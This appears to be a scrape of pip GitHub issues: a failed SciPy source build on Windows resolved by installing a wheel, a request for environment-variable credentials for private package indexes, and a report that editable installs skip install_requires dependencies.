    Skipping link https://pypi.python.org/packages/fd/0a/9d0f9c89c7f44728cd8d0e9a46fb21ef3b61e51812eb9c2cd098593fa97b/scipy-1.0.0rc2-cp34-cp34m-manylinux1_i686.whl#md5=ae27d4c95298b1cbf59a215af4b51223 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/fd/d9/1cb8ab24adeb3ffca0fa5ac8c1875bdb0452a773a68095c7824ced4b4f2e/scipy-0.16.0-cp34-cp34m-manylinux1_x86_64.whl#md5=7dca6350615b0b32619f8b437cffac97 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/fe/5a/44dd48306b28f47e08e2daf8c19827ebf99ff8cf983fabe92d9408bc6bd1/scipy-0.14.1rc1.dev_52fb336-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=45c8e4c39aff1eb30b870796e039adce (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
  Using version 0.19.1 (newest of versions: 0.8.0, 0.9.0, 0.10.0, 0.10.1, 0.11.0, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.14.0, 0.14.1, 0.15.0, 0.15.1, 0.16.0, 0.16.1, 0.17.0, 0.17.1, 0.18.0, 0.18.1, 0.19.0, 0.19.1)
  Looking up "https://pypi.python.org/packages/52/67/d9ef9b5058d4a9e3f0ae641ec151790622cbeb37f157de5773358e2bf3da/scipy-0.19.1.tar.gz" in the cache
  Current age based on date: 1332
  Freshness lifetime from max-age: 31557600
  The response is "fresh", returning cached response
  31557600 > 1332
  Using cached scipy-0.19.1.tar.gz
  Downloading from URL https://pypi.python.org/packages/52/67/d9ef9b5058d4a9e3f0ae641ec151790622cbeb37f157de5773358e2bf3da/scipy-0.19.1.tar.gz#md5=6b4d91b62f1926282b127194a06b72b3 (from https://pypi.python.org/simple/scipy/)
  Running setup.py (path:C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy\setup.py) egg_info for package SciPy
    Running command python setup.py egg_info
    running egg_info
    creating pip-egg-info\scipy.egg-info
    writing pip-egg-info\scipy.egg-info\PKG-INFO
    writing dependency_links to pip-egg-info\scipy.egg-info\dependency_links.txt
    writing top-level names to pip-egg-info\scipy.egg-info\top_level.txt
    writing manifest file 'pip-egg-info\scipy.egg-info\SOURCES.txt'
    warning: manifest_maker: standard file '-c' not found

    reading manifest file 'pip-egg-info\scipy.egg-info\SOURCES.txt'
    reading manifest template 'MANIFEST.in'
    warning: no previously-included files matching '*_subr_*.f' found under directory 'scipy\linalg\src\id_dist\src'
    no previously-included directories found matching 'benchmarks\env'
    no previously-included directories found matching 'benchmarks\results'
    no previously-included directories found matching 'benchmarks\html'
    no previously-included directories found matching 'benchmarks\scipy'
    no previously-included directories found matching 'scipy\special\tests\data\boost'
    no previously-included directories found matching 'scipy\special\tests\data\gsl'
    no previously-included directories found matching 'doc\build'
    no previously-included directories found matching 'doc\source\generated'
    warning: no previously-included files matching '*.pyc' found anywhere in distribution
    warning: no previously-included files matching '*~' found anywhere in distribution
    warning: no previously-included files matching '*.bak' found anywhere in distribution
    warning: no previously-included files matching '*.swp' found anywhere in distribution
    warning: no previously-included files matching '*.pyo' found anywhere in distribution
    writing manifest file 'pip-egg-info\scipy.egg-info\SOURCES.txt'
  Source in c:\users\s530101\appdata\local\temp\pip-build-mgoh5lx5\scipy has version 0.19.1, which satisfies requirement SciPy from https://pypi.python.org/packages/52/67/d9ef9b5058d4a9e3f0ae641ec151790622cbeb37f157de5773358e2bf3da/scipy-0.19.1.tar.gz#md5=6b4d91b62f1926282b127194a06b72b3
Installing collected packages: SciPy
  Running setup.py install for SciPy ...     Running command "c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-mgoh5lx5\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-2_4mzs__-record\install-record.txt --single-version-externally-managed --compile

    Note: if you need reliable uninstall behavior, then install
    with pip instead of using `setup.py install`:

      - `pip install .`       (from a git repo or downloaded source
                               release)
      - `pip install scipy`   (last SciPy release on PyPI)


    lapack_opt_info:
    lapack_mkl_info:
      libraries mkl_rt not found in ['c:\\program files\\python36\\lib', 'C:\\', 'c:\\program files\\python36\\libs']
      NOT AVAILABLE

    openblas_lapack_info:
    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:655: UserWarning: Specified path c:\opt\64\lib is invalid.
      return self.get_paths(self.section, key)
      libraries libopenblas_v0.2.20_mingwpy not found in []
      NOT AVAILABLE

    atlas_3_10_threads_info:
    Setting PTATLAS=ATLAS
      libraries tatlas,tatlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries tatlas,tatlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries tatlas,tatlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_3_10_threads_info'>
      NOT AVAILABLE

    atlas_3_10_info:
      libraries satlas,satlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries satlas,satlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries satlas,satlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_3_10_info'>
      NOT AVAILABLE

    atlas_threads_info:
    Setting PTATLAS=ATLAS
      libraries ptf77blas,ptcblas,atlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries ptf77blas,ptcblas,atlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries ptf77blas,ptcblas,atlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_threads_info'>
      NOT AVAILABLE

    atlas_info:
      libraries f77blas,cblas,atlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries f77blas,cblas,atlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries f77blas,cblas,atlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_info'>
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Atlas (http://math-atlas.sourceforge.net/) libraries not found.
        Directories to search for the libraries can be specified in the
        numpy/distutils/site.cfg file (section [atlas]) or by setting
        the ATLAS environment variable.
      self.calc_info()
    lapack_info:
      libraries lapack not found in ['c:\\program files\\python36\\lib', 'C:\\', 'c:\\program files\\python36\\libs']
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Lapack (http://www.netlib.org/lapack/) libraries not found.
        Directories to search for the libraries can be specified in the
        numpy/distutils/site.cfg file (section [lapack]) or by setting
        the LAPACK environment variable.
      self.calc_info()
    lapack_src_info:
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Lapack (http://www.netlib.org/lapack/) sources not found.
        Directories to search for the sources can be specified in the
        numpy/distutils/site.cfg file (section [lapack_src]) or by setting
        the LAPACK_SRC environment variable.
      self.calc_info()
      NOT AVAILABLE

    Running from scipy source directory.
    non-existing path in 'scipy\\integrate': 'quadpack.h'
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy\setup.py", line 416, in <module>
        setup_package()
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy\setup.py", line 412, in setup_package
        setup(**metadata)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\core.py", line 135, in setup
        config = configuration()
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy\setup.py", line 336, in configuration
        config.add_subpackage('scipy')
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 1029, in add_subpackage
        caller_level = 2)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 998, in get_subpackage
        caller_level = caller_level + 1)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 935, in _get_configuration_from_setup_py
        config = setup_module.configuration(*args)
      File "scipy\setup.py", line 15, in configuration
        config.add_subpackage('linalg')
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 1029, in add_subpackage
        caller_level = 2)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 998, in get_subpackage
        caller_level = caller_level + 1)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 935, in _get_configuration_from_setup_py
        config = setup_module.configuration(*args)
      File "scipy\linalg\setup.py", line 20, in configuration
        raise NotFoundError('no lapack/blas resources found')
    numpy.distutils.system_info.NotFoundError: no lapack/blas resources found
error
Cleaning up...
  Removing source in C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy
Command ""c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-mgoh5lx5\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-2_4mzs__-record\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy\
Exception information:
Traceback (most recent call last):
  File "c:\program files\python36\lib\site-packages\pip\basecommand.py", line 215, in main
    status = self.run(options, args)
  File "c:\program files\python36\lib\site-packages\pip\commands\install.py", line 342, in run
    prefix=options.prefix_path,
  File "c:\program files\python36\lib\site-packages\pip\req\req_set.py", line 784, in install
    **kwargs
  File "c:\program files\python36\lib\site-packages\pip\req\req_install.py", line 878, in install
    spinner=spinner,
  File "c:\program files\python36\lib\site-packages\pip\utils\__init__.py", line 707, in call_subprocess
    % (command_desc, proc.returncode, cwd))
pip.exceptions.InstallationError: Command ""c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-mgoh5lx5\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-2_4mzs__-record\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in C:\Users\s530101\AppData\Local\Temp\pip-build-mgoh5lx5\SciPy\

C:\windows\system32>pip search SciPy
apgl (0.8.1)                 - A fast python graph library based on numpy and
                               scipy.
austin (2016.0.1)            - austin scipy package
cloudml (0.4.2)              - Machine learning as a service scipy-trainer
coo_utils (0.1.2.1)          - utilities for managing nested lists of lists of
                               scipy.sparse matrices
Cybuild (0.1.post4)          - Cybuild =======  High-level compilation of
                               Cython extension types, based on
                               `scipy.weave.build_tools`.
dask-distance (0.2.0)        - Distance computations with Dask (akin to
                               scipy.spatial.distance)
scipy-data_fitting (1.0.2)   - Complete pipeline for easy data fitting with
                               Python.
ddeint (0.1.02)              - Scipy-based Delay Differential Equations solver
DESPOTIC (2.1)               - a Python / numPy / sciPy package to perform
                               calculations related to line emission and
                               thermal behavior in cold interstellar clouds.
euroscipy2017 (0.2)          - Sample package for demonstrating flit & flonda.
python-fit (1.0.0)           - A python module using scipy's orthogonal
                               distance regression that makes fitting data
                               easy.
FITS_tools (0.2)             - Tools for manipulating FITS images using
                               primarily scipy & native python routines
scikit-fuzzy (0.3.1)         - Fuzzy logic toolkit for SciPy
scikit-geodesic (1.1)        - A SciPy tool for computing geodesics in an
                               isotropic Riemannian manifold of arbitrary
                               dimension. It implements the Birkhoff curve
                               shortening algorithm for finding global
                               geodesics.
scikit-gof (0.1.3)           - Variations on goodness of fit tests for SciPy.
graf (0.1.2)                 - Light weight numpy, scipy, and matplotlib
                               wrapper
scikit-gstat (0.1.1)         - Geostatistical expansion in the scipy style
h5sparse (0.0.4)             - Scipy sparse matrix in HDF5.
hcluster (0.2.0)             - A hierarchical clustering package for Scipy.
hydrobox (0.0.4)             - Hydrological toolbox build on top of scipy and
                               pandas
scikit-image (0.13.1)        - Image processing routines for SciPy
kdense (1.0.0)               - Efficient kernel density estimation for
                               numpy+scipy.
lsq_linear (0.1.0)           - Implementation of scipy.optimize.lsq_linear for
                               old scipy version
mathstats (0.2.6)            - Statistical functions, goodness-of-fit tests
                               and special and special distributions not
                               implemented in scipy/numpy .
matscipy (0.1.4)             - Generic Python Materials Science tools
mdct (0.4)                   - A fast MDCT implementation using SciPy and FFTs
NeuroSciPy (0.0.0)           -
ParametricModeling (0.1.9)   - An Sklearn interface around
                               scipy.optimize.least_squares for parametric
                               modeling
piquant (0.1)                - A Python package extending NumPy and SciPy to
                               allow specification of numbers and arrays with
                               physical units.
PXL (0.0.9)                  - Extra functions built on NumPy, SciPy, pandas,
                               matplotlib, etc.
PyS3DE (1.0.5)               - Python Solver via Sympy + SciPy/NumPy for
                               Stochastic Differential Equations!
pythreshold (0.1.2)          - Numpy/Scipy implementations of some image
                               thresholding algorithms
rasterio (1.0a10)            - Fast and direct raster I/O for use with Numpy
                               and SciPy
scikit-video (0.1.2)         - Video processing routines for SciPy
scikits.bootstrap (0.3.3)    - Bootstrap confidence interval estimation
                               routines for SciPy
scikits.eartho (0.1dev)      - Earth Observation routines for SciPy
scikits.fitting (0.6)        - Framework for fitting functions to data with
                               SciPy
scikits.statsmodels (0.3.1)  - Statistical computations and models for use
                               with SciPy
scipy-stack (0.0.4)          - Helper to install the SciPy stack
scipy-sugar (1.0.4)          - Missing SciPy functionalities
scipy (1.0.0rc2)             - SciPy: Scientific Library for Python
scipydirect (1.3)            - Python wrapper to the DIRECT algorithm
scipyplot (0.0.5)            - A Python Toolbox for Creating Scientific
                               Article Figures
ScipySim (0.1.5)             - Simulation in Python.
SimpleSpectral (1.0.0)       - Heavily simplified scipy.signal.spectral module
                               which only depends on NumPy and supports pyFFTW
spicy (0.16.0)               - Because spellchecker. SciPy at your fingertips
statspy (0.1.0a1)            - Python module for statistics built on top of
                               NumPy/SciPy
stsci.ndimage (0.10.0)       - Various functions for multi-dimensional image
                               processing--fork of scipy.ndimage for use with
                               stsci_python
stscipython (2.15.1)         - General astronomical data analysis and Hubble
                               Space Telescope data calibration
traittypes (0.0.6)           - Scipy trait types

C:\windows\system32>pip -h

Usage:
  pip <command> [options]

Commands:
  install                     Install packages.
  download                    Download packages.
  uninstall                   Uninstall packages.
  freeze                      Output installed packages in requirements format.
  list                        List installed packages.
  show                        Show information about installed packages.
  check                       Verify installed packages have compatible dependencies.
  search                      Search PyPI for packages.
  wheel                       Build wheels from your requirements.
  hash                        Compute hashes of package archives.
  completion                  A helper command used for command completion.
  help                        Show help for commands.

General Options:
  -h, --help                  Show help.
  --isolated                  Run pip in an isolated mode, ignoring
                              environment variables and user configuration.
  -v, --verbose               Give more output. Option is additive, and can be
                              used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be
                              used up to 3 times (corresponding to WARNING,
                              ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --proxy <proxy>             Specify a proxy in the form
                              [user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists:
                              (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
  --trusted-host <hostname>   Mark this host as trusted, even though it does
                              not have valid or any HTTPS.
  --cert <path>               Path to alternate CA bundle.
  --client-cert <path>        Path to SSL client certificate, a single file
                              containing the private key and the certificate
                              in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine
                              whether a new version of pip is available for
                              download. Implied with --no-index.

C:\windows\system32>pip search -h

Usage:
  pip search [options] <query>

Description:
  Search for PyPI packages whose name or summary contains <query>.

Search Options:
  -i, --index <url>           Base URL of Python Package Index (default
                              https://pypi.python.org/pypi)

General Options:
  -h, --help                  Show help.
  --isolated                  Run pip in an isolated mode, ignoring
                              environment variables and user configuration.
  -v, --verbose               Give more output. Option is additive, and can be
                              used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be
                              used up to 3 times (corresponding to WARNING,
                              ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --proxy <proxy>             Specify a proxy in the form
                              [user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists:
                              (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
  --trusted-host <hostname>   Mark this host as trusted, even though it does
                              not have valid or any HTTPS.
  --cert <path>               Path to alternate CA bundle.
  --client-cert <path>        Path to SSL client certificate, a single file
                              containing the private key and the certificate
                              in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine
                              whether a new version of pip is available for
                              download. Implied with --no-index.

C:\windows\system32>pip install scipy
Collecting scipy
  Using cached scipy-0.19.1.tar.gz
Operation cancelled by user

C:\windows\system32>pip install -h

Usage:
  pip install [options] <requirement specifier> [package-index-options] ...
  pip install [options] -r <requirements file> [package-index-options] ...
  pip install [options] [-e] <vcs project url> ...
  pip install [options] [-e] <local project path> ...
  pip install [options] <archive url/path> ...

Description:
  Install packages from:

  - PyPI (and other indexes) using requirement specifiers.
  - VCS project urls.
  - Local project directories.
  - Local or remote source archives.

  pip also supports installing from "requirements files", which provide
  an easy way to specify a whole environment to be installed.

Install Options:
  -c, --constraint <file>     Constrain versions using the given constraints
                              file. This option can be used multiple times.
  -e, --editable <path/url>   Install a project in editable mode (i.e.
                              setuptools "develop mode") from a local project
                              path or a VCS url.
  -r, --requirement <file>    Install from the given requirements file. This
                              option can be used multiple times.
  -b, --build <dir>           Directory to unpack packages into and build in.
  -t, --target <dir>          Install packages into <dir>. By default this
                              will not replace existing files/folders in
                              <dir>. Use --upgrade to replace existing
                              packages in <dir> with new versions.
  -d, --download <dir>        Download packages into <dir> instead of
                              installing them, regardless of what's already
                              installed.
  --src <dir>                 Directory to check out editable projects into.
                              The default in a virtualenv is "<venv
                              path>/src". The default for global installs is
                              "<current dir>/src".
  -U, --upgrade               Upgrade all specified packages to the newest
                              available version. The handling of dependencies
                              depends on the upgrade-strategy used.
  --upgrade-strategy <upgrade_strategy>
                              Determines how dependency upgrading should be
                              handled. "eager" - dependencies are upgraded
                              regardless of whether the currently installed
                              version satisfies the requirements of the
                              upgraded package(s). "only-if-needed" -  are
                              upgraded only when they do not satisfy the
                              requirements of the upgraded package(s).
  --force-reinstall           When upgrading, reinstall all packages even if
                              they are already up-to-date.
  -I, --ignore-installed      Ignore the installed packages (reinstalling
                              instead).
  --ignore-requires-python    Ignore the Requires-Python information.
  --no-deps                   Don't install package dependencies.
  --install-option <options>  Extra arguments to be supplied to the setup.py
                              install command (use like --install-option="--
                              install-scripts=/usr/local/bin"). Use multiple
                              --install-option options to pass multiple
                              options to setup.py install. If you are using an
                              option with a directory path, be sure to use
                              absolute path.
  --global-option <options>   Extra global options to be supplied to the
                              setup.py call before the install command.
  --user                      Install to the Python user install directory for
                              your platform. Typically ~/.local/, or
                              %APPDATA%\Python on Windows. (See the Python
                              documentation for site.USER_BASE for full
                              details.)
  --egg                       Install packages as eggs, not 'flat', like pip
                              normally does. This option is not about
                              installing *from* eggs. (WARNING: Because this
                              option overrides pip's normal install logic,
                              requirements files may not behave as expected.)
  --root <dir>                Install everything relative to this alternate
                              root directory.
  --prefix <dir>              Installation prefix where lib, bin and other
                              top-level folders are placed
  --compile                   Compile py files to pyc
  --no-compile                Do not compile py files to pyc
  --no-use-wheel              Do not Find and prefer wheel archives when
                              searching indexes and find-links locations.
                              DEPRECATED in favour of --no-binary.
  --no-binary <format_control>
                              Do not use binary packages. Can be supplied
                              multiple times, and each time adds to the
                              existing value. Accepts either :all: to disable
                              all binary packages, :none: to empty the set, or
                              one or more package names with commas between
                              them. Note that some packages are tricky to
                              compile and may fail to install when this option
                              is used on them.
  --only-binary <format_control>
                              Do not use source packages. Can be supplied
                              multiple times, and each time adds to the
                              existing value. Accepts either :all: to disable
                              all source packages, :none: to empty the set, or
                              one or more package names with commas between
                              them. Packages without binary distributions will
                              fail to install when this option is used on
                              them.
  --pre                       Include pre-release and development versions. By
                              default, pip only finds stable versions.
  --no-clean                  Don't clean up build directories.
  --require-hashes            Require a hash to check each requirement
                              against, for repeatable installs. This option is
                              implied when any package in a requirements file
                              has a --hash option.

Package Index Options (including deprecated options):
  -i, --index-url <url>       Base URL of Python Package Index (default
                              https://pypi.python.org/simple). This should
                              point to a repository compliant with PEP 503
                              (the simple repository API) or a local directory
                              laid out in the same format.
  --extra-index-url <url>     Extra URLs of package indexes to use in addition
                              to --index-url. Should follow the same rules as
                              --index-url.
  --no-index                  Ignore package index (only looking at --find-
                              links URLs instead).
  -f, --find-links <url>      If a url or path to an html file, then parse for
                              links to archives. If a local path or file://
                              url that's a directory, then look for archives
                              in the directory listing.
  --process-dependency-links  Enable the processing of dependency links.

General Options:
  -h, --help                  Show help.
  --isolated                  Run pip in an isolated mode, ignoring
                              environment variables and user configuration.
  -v, --verbose               Give more output. Option is additive, and can be
                              used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be
                              used up to 3 times (corresponding to WARNING,
                              ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --proxy <proxy>             Specify a proxy in the form
                              [user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists:
                              (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
  --trusted-host <hostname>   Mark this host as trusted, even though it does
                              not have valid or any HTTPS.
  --cert <path>               Path to alternate CA bundle.
  --client-cert <path>        Path to SSL client certificate, a single file
                              containing the private key and the certificate
                              in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine
                              whether a new version of pip is available for
                              download. Implied with --no-index.

C:\windows\system32>pip -V
pip 9.0.1 from c:\program files\python36\lib\site-packages (python 3.6)

C:\windows\system32>pip install scipy-1.0.0rc2-cp36-none-win_amd64.whl
Requirement 'scipy-1.0.0rc2-cp36-none-win_amd64.whl' looks like a filename, but the file does not exist
Processing c:\windows\system32\scipy-1.0.0rc2-cp36-none-win_amd64.whl
Exception:
Traceback (most recent call last):
  File "c:\program files\python36\lib\site-packages\pip\basecommand.py", line 215, in main
    status = self.run(options, args)
  File "c:\program files\python36\lib\site-packages\pip\commands\install.py", line 324, in run
    requirement_set.prepare_files(finder)
  File "c:\program files\python36\lib\site-packages\pip\req\req_set.py", line 380, in prepare_files
    ignore_dependencies=self.ignore_dependencies))
  File "c:\program files\python36\lib\site-packages\pip\req\req_set.py", line 620, in _prepare_file
    session=self.session, hashes=hashes)
  File "c:\program files\python36\lib\site-packages\pip\download.py", line 809, in unpack_url
    unpack_file_url(link, location, download_dir, hashes=hashes)
  File "c:\program files\python36\lib\site-packages\pip\download.py", line 715, in unpack_file_url
    unpack_file(from_path, location, content_type, link)
  File "c:\program files\python36\lib\site-packages\pip\utils\__init__.py", line 599, in unpack_file
    flatten=not filename.endswith('.whl')
  File "c:\program files\python36\lib\site-packages\pip\utils\__init__.py", line 482, in unzip_file
    zipfp = open(filename, 'rb')
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\windows\\system32\\scipy-1.0.0rc2-cp36-none-win_amd64.whl'

C:\windows\system32>pip install scipy scipy-1.0.0rc2-cp36-none-win_amd64.whl
Requirement 'scipy-1.0.0rc2-cp36-none-win_amd64.whl' looks like a filename, but the file does not exist
Double requirement given: scipy==1.0.0rc2 from file:///C:/windows/system32/scipy-1.0.0rc2-cp36-none-win_amd64.whl (already in scipy, name='scipy')

C:\windows\system32>pip install scipy https://pypi.python.org/packages/ed/23/cc831da308cf4f7e319c73e32197a1204daed6ce8c76c741fcaf1903c489/scipy-1.0.0rc2-cp36-none-win_amd64.whl#md5=9184ee5f1dd5745e42901b0a9de40373
Double requirement given: scipy==1.0.0rc2 from https://pypi.python.org/packages/ed/23/cc831da308cf4f7e319c73e32197a1204daed6ce8c76c741fcaf1903c489/scipy-1.0.0rc2-cp36-none-win_amd64.whl#md5=9184ee5f1dd5745e42901b0a9de40373 (already in scipy, name='scipy')

C:\windows\system32>pip install https://pypi.python.org/packages/ed/23/cc831da308cf4f7e319c73e32197a1204daed6ce8c76c741fcaf1903c489/scipy-1.0.0rc2-cp36-none-win_amd64.whl#md5=9184ee5f1dd5745e42901b0a9de40373
Collecting scipy==1.0.0rc2 from https://pypi.python.org/packages/ed/23/cc831da308cf4f7e319c73e32197a1204daed6ce8c76c741fcaf1903c489/scipy-1.0.0rc2-cp36-none-win_amd64.whl#md5=9184ee5f1dd5745e42901b0a9de40373
  Downloading scipy-1.0.0rc2-cp36-none-win_amd64.whl (30.8MB)
    100% |████████████████████████████████| 30.8MB 41kB/s
Requirement already satisfied: numpy>=1.8.2 in c:\program files\python36\lib\site-packages (from scipy==1.0.0rc2)
Installing collected packages: scipy
Successfully installed scipy-1.0.0rc2
</code></pre>
</details>
user: Husky2490
labels: resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
UX: User experience related
C: error messages: Improving error messages
issue_4789: state: open
title: Please add support for credentials via environment variables
body: * Pip version: all
* Python version: all
* Operating system: all

### Description:

We're using pip in a CI/CD pipeline to install packages from a private repository protected by username/password. Currently there are two options to pass those credentials to pip, either encode it directly in the URL or create a `pip.conf` file. Both options are not very attractive. The first option would entail to have those credentials hard coded in the source code, the second one would mean we'd have to generate this config file during the build process.

Most CI/CD build pipelines support some kind of "secret variables", which is a fancy word for environment variables that you can set in the CI/CD and that will be enabled in the build pipeline. This is usually the way to pass secrets.

It would be very helpful if `pip` would also support some mechanism to read secrets from environment variables.

See also: https://www.jfrog.com/confluence/display/RTF/PyPI+Repositories#PyPIRepositories-UsingCredentials for a realistic use case.

user: venthur
labels: type: feature request: Request for a new feature
issue_4780: state: open
title: pip install -e does not install setup.py install_requires dependencies
body: * Pip version: 9.0.1
* Python version: 3.6.3
* Operating system: Gentoo Linux

### Description:

I have a local package that specifies a number of dependencies via the `install_requires` argument in `setup.py`. Installing it with `pip install --user -e .` does not install these dependencies, whereas `pip install --user .`  does.

### What I've run:
Consider the case where one of the install_requires dependencies (here gitpython) is not present on the system. Below is the output of pip install in both cases. Note that gitpython is only collected and installed in the second case.

```
➜  package git:(master) ✗ pip install --user -e .
Obtaining file:///home/leonard/projects/package
Requirement already satisfied: mxnet in /home/leonard/software/mxnet/python (from leezu-package==0.1.dev0)
Requirement already satisfied: numpy in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: addict in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: numba in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: pyyaml in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: spacy in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: en_core_web_sm in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: en_core_web_md in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: matplotlib in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: pandas in /usr/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: xarray in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: netCDF4 in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: progressbar2 in /home/leonard/.local/lib64/python3.6/site-packages (from leezu-package==0.1.dev0)
Requirement already satisfied: requests in /home/leonard/.local/lib64/python3.6/site-packages (from mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: graphviz in /home/leonard/.local/lib64/python3.6/site-packages (from mxnet->leezu-package==0.1.dev0)
Requirement already satisfied: llvmlite in /usr/lib64/python3.6/site-packages (from numba->leezu-package==0.1.dev0)
Requirement already satisfied: murmurhash<0.27,>=0.26 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: cymem<1.32,>=1.30 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: preshed<2.0.0,>=1.0.0 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
Requirement already satisfied: thinc<6.6.0,>=6.5.0 in /home/leonard/.local/lib64/python3.6/site-packages (from spacy->leezu-package==0.1.dev0)
